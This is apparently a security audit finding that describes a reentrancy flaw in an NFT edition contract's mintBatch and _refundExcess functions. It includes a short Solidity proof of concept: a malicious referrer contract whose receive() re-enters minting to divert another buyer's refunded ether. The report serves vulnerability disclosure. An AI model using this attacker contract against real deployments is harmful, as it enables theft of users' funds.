Reentrancy attack by edition referrer.

Summary

Assigning a malicious contract as the referrer of a new edition can enable a reentrancy attack on any minting process.

Vulnerability Detail

Consider the following scenario:

Alice creates a new edition and sets the referrer to following malicious contract.

    contract Referrer {

        Edition edition = Alice's edition; // the edition Alice created

        receive() external payable {

            address to_ = address(1);
            uint256[] calldata tokenIds_ = new uint256[](0);
            uint256[] calldata amounts_ = new uint256[](0);
            bytes calldata data_ = "";

            edition.mintBatch{value: 1 wei}(
                to_, tokenIds_, amounts_, data_
            );
        }
    }

Bob mints at Alice's editin. Then Alice's referrer receives some fees. The referrer then calls edition::mintBatch with empty parameters. Subsequently, edition::mintBatch mints nothing and triggers _refundExcess() at L296.

    function mintBatch(
        address to_,
        uint256[] calldata tokenIds_,
        uint256[] calldata amounts_,
        bytes calldata data_
    ) external payable {
        for (uint256 i = 0; i < tokenIds_.length; i++) {
            Work storage work = works[tokenIds_[i]];

            // wake-disable-next-line reentrancy
            FEE_MANAGER.collectMintFee{value: msg.value}(
                this, tokenIds_[i], amounts_[i], msg.sender, address(0), work.strategy
            );

            _checkTime(work.opensAt, work.closesAt);
            _updateSupply(work, amounts_[i]);
        }

        _batchMint(to_, tokenIds_, amounts_, data_);
296     _refundExcess();
    }

edition::_refundExcess proceeds to transfer all balances, including Bob's remaining ether, to Alice's referrer.

    function _refundExcess() internal {
        if (msg.value > 0 && address(this).balance > 0) {
            msg.sender.safeTransferETH(address(this).balance);
        }
    }

Consequently, Bob's remaining Ether is diverted to Alice's referrer, rather than returned to Bob.